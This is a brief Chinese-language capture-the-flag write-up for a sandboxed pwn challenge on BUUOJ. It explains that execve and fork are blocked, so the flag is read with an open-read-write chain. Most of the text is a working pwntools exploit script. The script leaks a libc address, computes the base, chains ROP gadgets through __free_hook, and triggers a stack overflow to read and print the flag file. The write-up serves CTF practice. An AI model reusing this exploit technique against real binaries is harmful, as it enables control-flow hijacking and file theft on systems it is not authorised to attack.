利用思路
沙盒，禁止了execve和fork syscall，所以不能打开子进程，需要在当前进程里读入flag并输出，利用 orw 打印flag
exp 脚本
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
p = remote('node3.buuoj.cn',29892)
p.recvuntil("0x")
puts_addr=int(p.recv(12),16)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libcbase_addr=puts_addr-libc.symbols['puts']
#mov_rdi_rsi_ret=libcbase_addr+libc.search(asm("mov rdi,r13
ret")).next()
pop_rdi_ret=libcbase_addr+0x21102
pop_rsi_ret=libcbase_addr+0x202e8
pop_rdx_ret=libcbase_addr+0x1b92
open_addr=libcbase_addr+libc.symbols['open']
free_hook=libcbase_addr+libc.symbols['__free_hook']
read_addr=libcbase_addr+libc.symbols['read']
puts_addr=libcbase_addr+libc.symbols['puts']
payload=p64(0)+p64(pop_rsi_ret)+p64(free_hook)+p64(pop_rdx_ret)+p64(4)+p64(read_addr)
payload+=p64(pop_rdi_ret)+p64(free_hook)+p64(pop_rsi_ret)+p64(4)+p64(open_addr)
payload+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(free_hook)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
payload+=p64(pop_rdi_ret)+p64(free_hook)+p64(puts_addr)
p.sendafter("Input something: ",payload)
p.sendafter("What's your name?",'a'* 0x78+p64(pop_rdi_ret))
p.send("flag")
p.interactive()